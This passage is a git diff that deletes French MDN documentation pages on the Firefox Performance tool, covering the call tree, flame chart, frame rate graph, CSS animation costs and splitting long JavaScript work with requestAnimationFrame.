-  console.log(quickSort(unsorted));
-}
- -

Il serait certainement intéressant de considérer des façons plus efficientes d'implémenter cela.

- -

Une chose à garder en tête est que les périodes d'inactivité sont classifiées en tant que Gecko, donc les parties de votre profil où votre JavaScript ne tourne pas contribueront aux échantillons Gecko. Ces échantillons n'impactent pas la performance de votre site.

- -
-

Par défaut, l'arbre d'appel ne sépare par les données de plateforme dans des fonctions séparées, car elles ajoutent beaucoup de nuisance et ces détails ont peu de chances d'être utiles à des personnes ne travaillant sur le développement de Firefox. Si vous voulez cependant voir ces détails, il faut cocher l'option "Afficher les données de la plateforme Gecko" dans les options.

-
- -

 

- -

Utiliser un arbre inversé ( Bottom-Up)

- -

Un arbre d'appel inversé, inverse l'ordre de toutes les piles, en mettant la fonction la plus loin dans l'arbre au début. La conséquence directe est que cette vue se focalise plus sur l'information Durée Individuelle. Cette vue est pratique pour trouver les points "chauds" du code.

- -

Pour afficher cette vue, cliquer sur l'icône en forme d'engrenage dans la partie droite et de cliquer sur L'arbre d'appel.

- -

diff --git a/files/fr/outils/performance/examples/index.html b/files/fr/outils/performance/examples/index.html deleted file mode 100644 index e3ca28d9bd..0000000000 --- a/files/fr/outils/performance/examples/index.html +++ /dev/null @@ -1,8 +0,0 @@ ---- -title: Exemples -slug: Outils/Performance/Examples -translation_of: Tools/Performance/Examples ---- -
{{ToolsSidebar}}

Liste des pages de démos pour les scénarios de performances et walkthroughs.

- -

{{ ListSubpages ("/en-US/docs/Tools/Performance/Examples", 5) }}

diff --git a/files/fr/outils/performance/examples/sorting_algorithms_comparison/index.html b/files/fr/outils/performance/examples/sorting_algorithms_comparison/index.html deleted file mode 100644 index 608691a9d5..0000000000 --- a/files/fr/outils/performance/examples/sorting_algorithms_comparison/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Comparaison des algorithmes de tri -slug: Outils/Performance/Examples/Sorting_algorithms_comparison -translation_of: Tools/Performance/Examples/Sorting_algorithms_comparison ---- -
{{ToolsSidebar}}

Ce articlé décrit un programe simple qui est utilisé dans deux des guides de l'outil Performance : le guide pour l'arbre d'appel et le guide pour le diagramme de flamme.

- -

Ce programme compare les performances de trois algorithmes de tri différents :

- -
    -
  • le tri à bulles
    • -
  • le tri par sélection
    • -
  • le Ttri rapide
    • -
- -

Ce programme est composé des fonctions suivantes :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
sortAll()Fonction principale. génère itérativement (200 itérations) des tableaux aléatoires et appellesort().
sort()Appelle les fonctions bubbleSort(), selectionSort(), et quickSort() tour à tour et affiche le résultat.
bubbleSort()Implémente un tri à bulles, retourne le tableau trié
selectionSort()Implémente un par sélection retourne le tableau trié
quickSort()Implémente un tri rapide, retourne le tableau trié
swap()fonction d'aide pour bubbleSort() et selectionSort().
partition()fonction d'aide pour quickSort().
- -

le graphique d'appel ressemble à ceci :

- -
sortAll()                     // (génère un tableau aléatoire puis appelle sort) x 200
-
-    -> sort()                 // tri le tableau avec chaque tri et affiche le résultat
-
-        -> bubbleSort()
-
-            -> swap()
-
-        -> selectionSort()
-
-            -> swap()
-
-        -> quickSort()
-
-            -> partition()
- -

Les implémentations des algorithmes de tri dans ce programme ont été tirées du dépôt https://github.com/nzakas/computer-science-in-javascript/ et sont utilisées sous la licence MIT.

- -

Vous pouvez tester ce programme d'exemple ici et cloner le code ici (soyez sûr de bien check out la branche gh-pages).

diff --git a/files/fr/outils/performance/flame_chart/index.html b/files/fr/outils/performance/flame_chart/index.html deleted file mode 100644 index 0bcb285b4d..0000000000 --- a/files/fr/outils/performance/flame_chart/index.html +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: Flame Chart -slug: Outils/Performance/Flame_Chart -translation_of: Tools/Performance/Flame_Chart ---- -
{{ToolsSidebar}}
-

Le Flame Chart affiche l'état de la pile JavaScript de votre code à chaque milliseconde durant le profil de performance.

- -

Cela permet de savoir exactement quelle fonction s'est exécutée à un moment donné dans l’enregistrement, combien de temps elle a mis, et d'où elle a été appelée.

-
- -

L'Arbre d'appel et le Flame Chart sont tous deux utilisés pour analyser les performances du code JavaScript de pages web. Et ils utilisent tous deux les mêmes données : des échantillons de la pile du moteur JavaScript, pris périodiquement durant l'enregistrement.

- -

Cependant, tandis que le Call Tree organise ces données pour mettre en évidence les endroits où le code passe le plus de temps, de manière cohérente à travers tout l'enregistrement, le Flame Chart lui utilise ces données pour afficher où exactement dans l'enregistrement les fonctions s'exécutent. Essentiellement, il affiche l'état de la pile d'appel à n’importe quel point donné de l'enregistrement.

- -

Voici une capture d'écran montrant le Flame Chart pour une section d'un profil :

- -

- -

Tout d'abord, vous pouvez remarquer que dans le panneau de vue globale de l'enregistrement. Ici, une petite partie de l'enregistrement est sélectionné et affiché dans le Flame Chart. Le Flame Chart affiche beaucoup de données, donc pour obtenir des résultats pertinents, il est souvent nécessaire de zoomer.

- -

Dans la vue du Flame Chart, l'axe X représente le temps. La capture d'écran couvre la période de 1435ms à un peu plus de 1465ms. Sur l'axe Y, on trouve les fonctions de la pile d'appel à ce point dans le temps, avec le haut niveau en haut, et les fonctions filles en bas. Les fonctions ont un code couleur pour pouvoir les distinguer facilement.

- -

Cela fournit une façon de savoir à tout moment de l'enregistrement quelles fonctions sont exécutées, quand et pendant combien de temps, et également d'où elles ont été appelées.

- -

Zoomer et faire un panoramique

- -

Pour travailler efficacement avec le Flame Chart, il est nécessaire de pouvoir naviguer dedans. Il existe deux contrôles principaux pour naviguer dans le Flame Chart :

- - - - - - - - - - - - -
Zoom : Augmente/diminue la portion du profil sélectionné qui est affiché dans le Flame Chart -

1) Souris : mollette vers le haut ou vers le bas dans le Flame Chart.

- -

2) Pavé tactile : deux doigts vers le haut ou vers le bas dans le Flame Chart.

-
Déplacement : Déplace la portion du profil sélectionné qui est affiché dans le Flame Chart -

1) Clic puis glissement de la partie sélectionnée dans le panneau de la vue d'ensemble de l'enregistrement.

- -

2) Clic puis glissement n'importe où dans le Flame Chart (attention, cliquer dans le panneau de vue d'ensemble à l’extérieur de la partie sélectionnée entraînera une nouvelle sélection)

-
- -

{{EmbedYouTube("BzfkBRFucp8")}}

- -

Exemple

- -

Afin de voir comment le Flame Chart peut révéler le comportement d'un programme, nous utiliserons cet exemple simple. Nous utilisons le même programme dans la page de L'Arbre d'appel. Il s'agit d'un programme qui compare trois algorithmes de tri différents. Il existe une page séparée qui fournit une vue d'ensemble de la structure du programme.

- -

Nous utiliserons le même profil que celui utilisé sur la page de l'Arbre d'appel. Le graphique d'appel et le nombre d'échantillons associé ressemblent à ceci :

- -
sortAll()                         //    8
-
-    -> sort()                     //   37
-
-        -> bubbleSort()           // 1345
-
-            -> swap()             //  252
-
-        -> selectionSort()        //  190
-
-            -> swap()             //    1
-
-        -> quickSort()            //  103
-
-            -> partition()        //   12
- -

Tout d'abord, sélectionnons toute la partie durant laquelle le programme était actif :

- -

- -

L'appelsortAll(), tout en haut et coloré en mauve court du début du programme à la fin. En dessous, on trouve en couleur olive les appels que cette fonction fait à sort(). Encore en dessous, comme les dents d'une scie, on trouve les appels à chacun des algorithmes de tri.

- -

Zoomons un peu :

- -

- -

Cette partie dure à peu près 140ms, et montre plus de détails sur les fonctions appelées par sort(). Le code de sort() est celui-ci :

- -
function sort(unsorted) {
-  console.log(bubbleSort(unsorted));
-  console.log(selectionSort(unsorted));
-  console.log(quickSort(unsorted));
-}
- -

Les boites intitulées "bubb..." et colorées en vert olive sont vraisemblablement des bubbleSort(). Les boites colorées en vert sont vraisemblablement les autres fonctions de tri. Même au premier regard, il parait évident que les boites du tri à bulle sont bien plus grosses (et donc durent plus longtemps) que les autres.

- -

Nous pouvons également voir quelques fonctions appelées par bubbleSort(), en violet.

- -

Zoomons une deuxième fois :

- -

- -

Cette partie dure environ 20ms. Nous pouvons voir que les boites violettes en dessous de bubbleSort() sont les appels à swap(). Si voulions tous les compter, l'Arbre d'appel nous dirait facilement qu'il en existe 253 (le nombre d'échantillons pris dans cette fonction) . Tous les échantillons dans cette portion sont en dessous de bubbleSort(), mais l'on peut voir dans l'arbre d'appel que le profil contient un appel dans selectionSort().

- -

Nous pouvons également voir que deux des boites vertes correspondent à selectionSort() et quickSort(), mais que les autres boites vertes correspondent à des appels à la plate-forme Gecko. Il est très probable qu'il s’agisse des console.log() dans sort().

diff --git a/files/fr/outils/performance/frame_rate/index.html b/files/fr/outils/performance/frame_rate/index.html deleted file mode 100644 index 3f4c5016f0..0000000000 --- a/files/fr/outils/performance/frame_rate/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Frame rate -slug: Outils/Performance/Frame_rate -translation_of: Tools/Performance/Frame_rate ---- -
{{ToolsSidebar}}
-

Le Frame rate est une unité de mesure de la réactivité des sites web en frames par seconde (fps). Un frame rate faible ou extrêmement variable peut donner l'impression qu'un site ne répond pas ou est de mauvaise qualité. Cela donne une mauvaise expérience utilisateur.

- -

Un frame rate de 60fps est la cible idéale pour des performances fluides, cela donne un budget temps de 16.7ms pour effectuer tous les changements en réponse à un évènement.

- -

Le graphique du frame rate dans l'outil Performance affiche le frame rate au cours de l'enregistrement. Cela donne une indication rapide d'où se situent les problèmes dans le site analysé, et permet d'utiliser d'autres outils pour une analyse plus approfondie.

-
- -

Frame rate et réactivité

- -

Le Frame rate est la vitesse à laquelle un appareil vidéo peut produire des images (frames). Cette unité est très utilisée dans les films ou les jeux vidéos, mais est maintenant utilisée couramment comme indicateur de performance pour les sites web et les applications web.

- -

Dans le domaine de la performance web, une frame englobe tout le travail que doit faire le navigateur afin de mettre à jour et de repeindre l'écran. Le frame rate est évidemment applicable aux animations : si le frame rate est trop bas, une animation aura l'air saccadée, alors qu'avec un frame rate élevée, elle sera fluide. Mais le frame rate est également utile en temps qu'indicateur de performance générale de la réactivité d'un site web lorsqu’un utilisateur interagit avec.

- -

Par exemple, si déplacer la souris au-dessus d'un élément de la page active du code JavaScript qui change l'apparence de l'élément et déclenche ainsi un reflow et un repaint, alors tout le travail doit être complété dans la même frame. Si l'opération prend trop de temps au navigateur, alors celui-ci apparaitra momentanément non réactif.

- -

Similairement, si faire défiler une page implique un grand nombre de mises à jour complexes et que le navigateur ne peut alors pas garder un frame rate décent, alors le navigateur sera saccadé et sera occasionnellement bloqué (freeze).

- -

En général, un frame rate constant et élevé rendra les interactions de l'utilisateur plus agréables.

- -
-

Un frame rate de 60fps est reconnu comme le saint Graal de la performance. Cela donne un budget temps de 16.7ms pour toutes les opérations à effectuer dans une frame.

- -

Cependant, la constance est très importante, surtout si le frame rate ne peut pas être de 60fps. Il est recommandé d'avoir un frame rate moins élevé, mais plus constant afin d’éviter des différences de réactivité brusques.

-
- -

Graphique du Frame rate

- -

Le graphique du frame rate se trouve dans la vue d'ensemble de l'enregistrement de l'outil Performance. Il prend un simple timestamp lorsque le navigateur finit une frame, et l'utilise pour connaitre le frame rate tout au long de l'enregistrement.

- -

L'axe X est le temps dans le profil. Il y a trois annotations : le frame rate maximum, le frame rate minimum, et le frame rate moyen.

- -

Utiliser le graphique du frame rate

- -

Le principal intérêt de ce graphique est que tout comme la Console web, il donne une indication rapide d'ou le site peut avoir des problèmes et permet une analyse plus approfondie par d'autres outils. Voici par exemple une capture d'écran d'un profil de performance :

- -

- -

Il est possible de voir que le frame rate moyen est raisonnable, mais qu'il existe cependant trois endroits où le frame rate s'effondre pendant 10 millisecondes. Cela causera certainement un freeze considérable dans les animations de la page.

- -

Le graphique du frame rate est en relation avec la vue d'ensemble de la Chronologie et celle-ci est affichée directement au-dessus. Il est donc possible de voir que les chutes correspondent aux barres orange qui dénotent le temps passé à exécuter du JavaScript.

- -

Sélectioner une partie de l'enregistrement contenant une chute permet de zoomer sur cette partie. La vue principale de la Chronologie en dessous affiche alors les informations de cette portion uniquement. Il est alors possible de trouver le coupable :

- -

- -

Il y a ici une fonction JavaScript exécutée à la suite d'un évènement de clic qui bloque le processus principal pendant 170 millisecondes.

- -

Pour savoir de quelle fonction il s'agit exactement, il faut passer au Flame Chart (Graphique JS) pour voir la pile d'appels à ce moment donné :

- -

- -

La fonction coupable est doPointlessComputations(), et est définie dans "main.js". Pour régler ce problème, il est possible de séparer cette fonction en plusieurs parties et d'exécuter ces parties dans requestAnimationFrame, ou bien même d'exécuter la fonction dans un worker. L'article JavaScript intensif expose des stratégies pour résoudre ce genre de problèmes.

diff --git a/files/fr/outils/performance/how_to/index.html b/files/fr/outils/performance/how_to/index.html deleted file mode 100644 index f7cd86402f..0000000000 --- a/files/fr/outils/performance/how_to/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Comment faire ? -slug: Outils/Performance/How_to -translation_of: Tools/Performance/How_to ---- -
{{ToolsSidebar}}

Ouvrir l'outil Performance

- -

Pour ouvrir l'outil Performance, il existe plusieurs possibilités :

- -
    -
  • Utiliser le raccourci clavier Maj + F5.
    • -
  • Selectioner "Performances" depuis le menu "Développement" présent dans le menu de Firefox (ou du menu outils sous OS X).
    • -
  • Ouvrir la boite à outils (F12).
    • -
  • Sélectionner l’icône de l'outil depuis la barre d'outils si vous en avez une :
    • -
- -

Enregistrer un profil

- -

Pour commencer un nouvel enregistrement, il faut presser sur le bouton en forme de chronomètre dans le panneau des enregistrements. Pour arrêter l'enregistrement, il suffit d'appuyer à nouveau sur le bouton :

- -

- -

Il est également possible de démarrer et d'arrêter un enregistrement depuis la Console Web, en utilisant console.profile() et console.profileEnd().

- -

Sauvegarder un profil

- -

Pour sauvegarder un profil, il faut cliquer sur le lien "Enregistrer" dans le tableau des enregistrements :

- -

- -

Charger un profil

- -

Pour charger un profil, il suffit de cliquer sur "Importer..." et sélectionner le fichier :

- -

- -

Effacer tous les profils chargés

- -

Pour effacer tous les profils chargés, il faut cliquer sur "Effacer".

- -
-

Attention, cette action entrainera la perte de tout profil non sauvegardé

-
- -

- -

Sélectioner un outil

- -

Les outils Chronologie, Arbre d'appel, et Flame Chart (Graphique JS) proposent chacun une méthode de visualisation différente. Pour passer de l'une à l'autre, il faut utiliser leurs boutons associés :

- -

- -

Configurer les données affichées

- -

Pour contrôler quels types de données sont affichées dans la chronologie, il faut utiliser ce bouton :

- -

- -

Zoomer

- -

Pour zoomer sur une partie de l'enregistrement, il faut sélectionner cette partie dans la vue d'ensemble :

- -

diff --git a/files/fr/outils/performance/index.html b/files/fr/outils/performance/index.html deleted file mode 100644 index 503820e30f..0000000000 --- a/files/fr/outils/performance/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Performance -slug: Outils/Performance -translation_of: Tools/Performance ---- -
{{ToolsSidebar}}
- -

L'outil Performance donne un aperçu de : la réactivité générale du site, la performance de son code JavaScript et de la performance du layout (disposition). Cet outil permet de réaliser un enregistrement (appelé profil) d'un site sur une période donnée. L'outil montre alors une vue d'ensemble des opérations que le navigateur a effectuées pour afficher le site durant le profil. Un graphique du frame rate lors du profil est également affiché.

- -

Il existe quatre sous-outils pour examiner les différents aspects du profil en détail :

- -
    -
  • La Chronologie révèle les différentes opérations que le navigateur fait, par exemple l'exécution de JavaScript ou de layout, les repaints ou bien même la garbage collection
    • -
  • L'Arbre d'appels met en évidence les fonctions JavaScripts dans lesquels le navigateur passe le plus de temps.
    • -
  • Le Graphique JS (Flame Chart) montre la pile d'appels JavaScript durant l'enregistrement.
    • -
  • La vue Allocations affiche les allocations faites par le code tout au long de l'enregistrement. Cette vue n'apparait que si vous avez coché l'option « Enregistrer les allocations » dans les outils de développement.
    • -
- -

{{EmbedYouTube("WBmttwfA_k8")}}

- -
-

Débuter

- -
-
-
-
UI Tour
-
-

Une visite guidée rapide pour s'y retrouver dans l'interface.

-
-
-
- -
-
-
Comment faire ?
-
Tutoriels pour les tâches de base : ouverture de l'outil, création, sauvegarde, chargement et configuration des enregistrements.
-
-
-
- -
-

Composants de l'outil Performance

- -
-
-
-
Frame rate
-
Comprendre la réactivité générale des sites.
-
Arbre d'appel
-
Trouver les points noirs dans le code JavaScript d'un site.
-
Allocations
-
Afficher les allocations faites par le code tout au long de l'enregistrement.
-
-
- -
-
-
Chronologie
-
Comprendre les opérations que fait le navigateur pendant que l'utilisateur interagit avec un site.
-
Graphique JS
-
Voir quelles fonctions JavaScript s'exécutent et quand elles s'exécutent pendant toute la durée de l'enregistrement.
-
-
-
-
- -
-

Scenarios

- -
-
-
-
Animer des propriétés CSS
-
Utiliser l'arbre d'appel pour comprendre comme le navigateur met à jour une page, et comment différentes animations de propriétés CSS peuvent impacter la performance.
-
-
-
- -
-
-
JavaScript intensif
-
Utiliser le frame rate et l'arbre d'appel pour mettre en évidence les problèmes causés par du JavaScript à longue exécution et comment l'utilisation des workers peut aider à résoudre cette situation..
-
-
-
- - - -
-
-
-
-
diff --git a/files/fr/outils/performance/scenarios/animating_css_properties/index.html b/files/fr/outils/performance/scenarios/animating_css_properties/index.html deleted file mode 100644 index b2767f6b32..0000000000 --- a/files/fr/outils/performance/scenarios/animating_css_properties/index.html +++ /dev/null @@ -1,154 +0,0 @@ ---- -title: Animer des propriétés CSS -slug: Outils/Performance/Scenarios/Animating_CSS_properties -translation_of: Tools/Performance/Scenarios/Animating_CSS_properties ---- -
{{ToolsSidebar}}
- -
-

Le cout en performance des animations CSS peuvent varier d'une propriété à une autre, et animer des propriétés couteuses peut résulter en un ralentissement/blocage du navigateur (jank) tandis que le navigateur se débat pour obtenir un frame rate fluide.

- -

Le Frame rate et la Chronologie peuvent fournir des renseignements sur les opérations que fait le navigateur lors d'une animation CSS, dans le but d'aider à diagnostiquer les problèmes de performances.

-
- -

Avec les animations CSS, il est possible de spécifier un nombre keyframes, chacune de celle-ci utilisent du CSS pour définir l'apparence d'un élément à un moment donné de l'animation. Le navigateur crée l'animation comme étant une transition d'une keyframe à une autre.

- -

Comparées à l'animation via JavaScript, les animations CSS peuvent être plus faciles à créer. Elles peuvent également donner de meilleures performances, car elles donnent plus de contrôle au navigateur pour afficher les frames au bon moment et les supprimer si nécessaire.

- -

Cependant, le cout en performances de la modification des propriétés CSS varient d'une propriété à une autre. Animer des propriétés couteuses peut résulter en un ralentissement/blocage du navigateur (jank) tandis que le navigateur se débat pour obtenir un frame rate fluide.

- -

La chronologie du rendu CSS

- -

Le processus que le navigateur utilise pour mettre à jour la page lorsqu'une propriété CSS a changé peut être décrit comme une chronologie consistant des étapes suivantes :

- -

- -
    -
  1. Recalculate Style (recalculer le style) : à chaque fois qu'une propriété CSS d'un élément change, le navigateur doit recalculer les styles calculés.
    2. -
  2. Layout (disposition) : ensuite, le navigateur utilise les styles calculés pour trouver la position et la géométrie des éléments. Cette opération est appelée "layout" mais peut être également appelée "reflow".
    3. -
  3. Paint (affichage) : enfin, le navigateur doit repeindre les éléments à l'écran. Une dernière étape qui n'est pas montrée dans cette séquence : la page peut être séparée en calques qui sont affichés indépendamment, puis combinés dans un processus appelé "Composition".
    4. -
- -

Cette séquence doit tenir dans une seule frame, vu que l'écran n'est pas mis à jour avant sa complétion. Il est généralement accepté que 60 frames par secondes est le frame rate auquel les animations apparaitront fluides. Un frame rate de 60 frames par secondes (fps) donne au navigateur 16.7 millisecondes pour exécuter entièrement cette séquence.

- -

Cout des propriétés CSS

- -

Lors de l'exécution de la chronologie du rendu CSS, certaines propriétés sont plus couteuses que d'autres :

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Nom de la propriétéCoutExemples
Les propriétés qui impactent la forme d'un élément ou sa position déclenchent une recalculation du style, une disposition, et un repaint. -

left
- max-width
- border-width
- margin-left
- font-size

-
-

Les propriétés qui n'impactent pas la forme d'un élément ou sa position, mais qui ne sont pas dans leur propre calque, ne déclenchent pas de disposition (layout)

- 		-

color

-
Les propriétés dans leur propre calque ne déclenchent même pas un repaint, car la mise à jour est gérée dans la composition. transform
- opacity
- -
-

Le site web CSS Triggers affiche le cout pour chacune des propriétés CSS. Cela n'est valable que pour les navigateurs WebKit, mais la plupart des couts seront les mêmes dans tous les navigateurs récents.

-
- -

Example : margin contre transform

- -

Dans cette section, la façon dont la Chronologie peut mettre en évidence la différence entre une animation utilisant margin et une utilisant transform serra démontrée.

- -

L'intention de ce scénario n'est pas de convaincre que l'animation en utilisant margin est forcement une mauvaise idée. Mais plutôt de démontrer comment les outils de développement peuvent donner une idée du travail qu'effectue le navigateur pour afficher un site web, et comment utiliser ces renseignements pour régler les problèmes de performance..

- -

Si vous voulez expérimenter en même temps, le site de la démo est disponible ici. Il ressemble à ceci :

- -

Le site comporte deux boutons : un pour démarrer/arrêter l'animation, et un groupe pour sélectionner le type d'animation.

- -

Il y a quelques éléments, et ceux-ci ont les propriétés CSS linear-gradient et box-shadow, car elles sont relativement couteuses.

- -

Il existe également une version vidéo de cette démo.

- -

{{EmbedYouTube("Tvu6_j8Qzfk")}}

- -

Animer en utilisant margin

- -

Il faut laisser l'option "Use margin" sélectionnée, puis lancer l'animation. Il faut ensuite ouvrir l'outil Performances (maj+F5) et faire un enregistrement, seulement quelques secondes sont nécessaires.

- -

En ouvrant l'enregistrement, ce que vous verrez dépend grandement de votre machine et de la charge du système, mais cela devrait ressembler à ceci :

- -

- -

Cette capture d'écran montre trois vues distinctes : une vue d'ensemble de la chronologie, le frame rate, et les détails de la frise chronologique.

- -

Vue d'ensemble de la chronologie

- -

- -

Il s'agit d'une représentation compressée de la Chronologie. La prédominance du vert révèle que la page passe beaucoup de temps à peindre..

- -

Frame rate

- -

- -

Cette partie montre le frame rate. Le frame rate moyen est de 46.67fps, bien en dessous de la cible de 60fps. Pire, le frame rate n'est pas du tout constant, avec un nombre conséquent de décentes dans les 20fps. Il est donc peu probable que l'animation soit fluide, surtout si une interaction utilisateur est ajoutée.

- -

Chronologie

- -

Le reste de l'enregistrement montre la vue de la chronologie. En faisant défiler un peu, on trouve le pattern suivant :

- -

- -

Cela représente la chronologie du rendu. À chaque frame de l'animation, les styles de chaque élément sont recalculés, puis composés en une seule disposition, et enfin le repaint a lieu.

- -

Il est facile de voir que le paint prend beaucoup de performance ici. Dans la capture d'écran ci-dessus, une opération paint est mise en surbrillance. La partie sur la droite révèle que cette opération prend 13.11ms. Avec seulement 16.7ms de budget temps par frame, il n'est pas surprenant d'avoir un frame rate si bas.

- -

Vous pouvez expérimenter avec l'exemple : essayez d'enlever la propriété box-shadow en utilisant l'Inspecteur, et regardez comment cela affecte le temps que prend paint. Par la suite, nous verrons comment utiliser transform au lieu de margin élimine complètement ces paint couteux.

- -

Animer en utilisant transform

- -

En cliquant sélectionnant l'option "Use transform", et en effectuant un nouvel enregistrement, on obtient quelque chose ressemblant à ceci :

- -

- -

Vue d'ensemble de la chronologie

- -

- -

En comparaison avec la version utilisant margin, on remarque beaucoup moins de vert et beaucoup plus de rose, ce qui peut être soit du positionnement soit de la recalculation de style.

- -

Frame rate

- -

- -

En comparaison avec la version utilisant margin, cela semble bien mieux. Le frame rate moyen est quasiment à 60fps et le frame rate est quasiment constant.

- -

Chronologie

- -

La frise chronologique montre la raison pour laquelle le frame rate s'est amélioré. The timeline view shows the reason for the improved frame rate. Contrairement à la version utilisant margin aucun temps n'est dépensé dans la disposition ou dans paint :

- -

- -

Dans ce cas-là, utiliser transform a considérablement amélioré la performance du site, et l'outil de performance permet de voir comment et pourquoi.

diff --git a/files/fr/outils/performance/scenarios/index.html b/files/fr/outils/performance/scenarios/index.html deleted file mode 100644 index 1b5969c1ff..0000000000 --- a/files/fr/outils/performance/scenarios/index.html +++ /dev/null @@ -1,8 +0,0 @@ ---- -title: Scénarios -slug: Outils/Performance/Scenarios -tags: - - NeedsContent -translation_of: Tools/Performance/Scenarios ---- -
{{ToolsSidebar}}

Scénarios de performances

diff --git a/files/fr/outils/performance/scenarios/intensive_javascript/index.html b/files/fr/outils/performance/scenarios/intensive_javascript/index.html deleted file mode 100644 index 9d9a2291de..0000000000 --- a/files/fr/outils/performance/scenarios/intensive_javascript/index.html +++ /dev/null @@ -1,231 +0,0 @@ ---- -title: Intensive JavaScript -slug: Outils/Performance/Scenarios/Intensive_JavaScript -translation_of: Tools/Performance/Scenarios/Intensive_JavaScript ---- -
{{ToolsSidebar}}
-

Par défaut, le navigateur n'utilise qu'un seul thread pour exécuter tout le JavaScript d'une page et pour effectuer les layout, reflows et garbage collections. Cela signifie que les fonctions JavaScript qui mettent trop de temps à s'exécuter peuvent bloquer le thread, empêchant ainsi à la page de répondre et donnant alors une mauvaise expérience utilisateur.

- -

Il est possible d'utiliser les outils Frame rate et Chronologie pour repérer le code JavaScript qui cause des problèmes de performances, et pour mettre en évidence les fonctions qui demandent une attention particulière.

- -

Dans cet article, nous prendrons un exemple d'un site où le JavaScript cause des problèmes de réactivité, et nous utiliserons deux approches différentes pour résoudre ce problème. La première approche est de fractionner les fonctions trop gourmandes en plusieurs morceaux et d'utiliser requestAnimationFrame pour planifier l'exécution de chaque morceau. La seconde approche est d'exécuter la fonction en entier dans un thread séparé en utilisant un web worker.

-
- -

Si vous souhaitez expérimenter par vous même tout en lisant, le site web de démonstration est disponible ici.

- -

Il existe également une version vidéo de cet article :

- -

{{EmbedYouTube("Pcc6jQX6JDI")}}

- -

Le site de démonstration ressemble à ceci :

- -

Il y trois contrôles :

- -
    -
  • un bouton de sélection qui permet de contrôler comment exécuter le JavaScript : soit d'un seul bloc dans le thread principal, soit en plusieurs parties avec requestAnimationFrame(), soit en utilisant un thread séparé grâce à un worker.
    • -
  • Un bouton nommé "Do pointless computations!" (faire des calculs inutiles) pour exécuter le JavaScript.
    • -
  • Un bouton pour démarrer et arrêter des animations CSS. Cela donne au navigateur des tâches de fond à exécuter.
    • -
- -

Afin de voir le problème de cette page, il faut laisser le bouton de sélection sur "Use blocking call in main thread" (appel de fonction bloquant dans le thread principal), puis faire un enregistrement. Pour ce faire, il faut réaliser les étapes suivantes :

- -
    -
  • Presser le bouton "Start animations"
    • -
  • Démarrer l'enregistrement d'un profil
    • -
  • Presser le bouton "Do pointless computations!" deux ou trois fois
    • -
  • Arreter l'enregistrement du profil
    • -
- -

Le résultat sera différent d'une machine à l'autre, mais globalement il devrait ressembler à ceci :

- -

- -

La partie haute est la vue d'ensemble de la chronologie. Cela donne une vue compressée de la Chronologie, qui affiche quels types d'opérations le navigateur effectue durant l'enregistrement. La partie rose indique que le navigateur effectue principalement des calculs CSS et potentiellement des reflows: il s'agit des animations CSS qui s'exécutent tout au long du profil. Il y a également des gros blocs orange, représentant l'exécution de JavaScript, il y a un bloc par appui de bouton "Do pointless computations!".

- -

La partie basse qui est relation avec le résumé de la frise chronologique, montre le frame rate. Celui-ci est bon pendant la plus grande partie de l'enregistrement, mais s'effondre complètement à chaque appui de bouton.

- -

Il est possible de sélectionner une de ces périodes afin d'obtenir des informations plus précises dans la vue principale de la chronologie :

- -

- -

Ici, lorsque le bouton est pressé, le navigateur a exécuté une fonction JavaScript, ou une série de fonctions qui ont bloqué le thread principal pendant 71.73ms, soit plus de trois fois le budget de temps pour une frame (1000ms/60frames = 16.67ms par frame).

- -

Mais quelle est cette fonction qui prend tant de temps ? En passant à la vue du Flame Chart (Graphique JS), il est possible de le découvrir :

- -

- -

Cela révèle la pile d'appels JavaScript à cet instant de l'exécution. Sur le haut de la pile, on trouve une fonction nommée calculatePrimes(), le nom du fichier dans laquelle elle est contenue ainsi que le numéro de ligne à laquelle elle se trouve est également affiché. Le code incriminé est le suivant :

- -
const iterations = 50;
-const multiplier = 1000000000;
-
-function calculatePrimes(iterations, multiplier) {
-  var primes = [];
-  for (var i = 0; i < iterations; i++) {
-    var candidate = i * (multiplier * Math.random());
-    var isPrime = true;
-    for (var c = 2; c <= Math.sqrt(candidate); ++c) {
-      if (candidate % c === 0) {
-          // not prime
-          isPrime = false;
-          break;
-       }
-    }
-    if (isPrime) {
-      primes.push(candidate);
-    }
-  }
-  return primes;
-}
-
-function doPointlessComputationsWithBlocking() {
-  var primes = calculatePrimes(iterations, multiplier);
-  pointlessComputationsButton.disabled = false;
-  console.log(primes);
-}
-
- -

Il s'agit tout simplement d'un test (mal optimisé) de nombre primaire réalisé 50 fois, pour des nombres assez grands.

- -

Utilisation de requestAnimationFrame

- -

La première manière de régler ce problème de performance consiste à fractionner la fonction en plusieurs parties plus restreintes, et de planifier l'exécution de chacune avec requestAnimationFrame().

- -

requestAnimationFrame() ordonne au navigateur d'effectuer une fonction à chaque frame, juste avant qu'il effectue un repaint. Tant que les chaque fonction est raisonnablement courte, le navigateur devrait être capable de de ne pas dépasser le budget temps idéal.

- -

Il est assez facile de fractionner calculatePrimes(): Il suffit de calculer la primarité de chaque nombre dans une fonction séparée :

- -
function doPointlessComputationsWithRequestAnimationFrame() {
-
-  function testCandidate(index) {
-    // finishing condition
-    if (index == iterations) {
-      console.log(primes);
-      pointlessComputationsButton.disabled = false;
-      return;
-    }
-    // test this number
-    var candidate = index * (multiplier * Math.random());
-    var isPrime = true;
-    for (var c = 2; c <= Math.sqrt(candidate); ++c) {
-      if (candidate % c === 0) {
-          // not prime
-          isPrime = false;
-          break;
-       }
-    }
-    if (isPrime) {
-      primes.push(candidate);
-    }
-    // schedule the next
-    var testFunction = testCandidate.bind(this, index + 1);
-    window.requestAnimationFrame(testFunction);
-  }
-
-  var primes = [];
-  var testFunction = testCandidate.bind(this, 0);
-  window.requestAnimationFrame(testFunction);
-}
- -

Il est maintenant temps de tester cette version. Pour cela on répète les étapes précédentes. Cette fois par contre, l'enregistrement devrait ressembler à ceci :

- -

- -

Au lieu d'un seul bloc organe continu, chaque pression de bouton révèle une longue séquence de courts blocs orange. Ces blocs sont tous espacés d'une frame, et chacun représente une des fonctions appelées par requestAnimationFrame(). Il est à noter qu'il n'y a eu que deux pressions de bouton dans ce profil.

- -

Ces appels de fonction sont en parallèle aux blocs roses des animations CSS, et chaque fonction est assez courte pour que le navigateur puisse l'exécuter sans faire baisser le frame rate.

- -

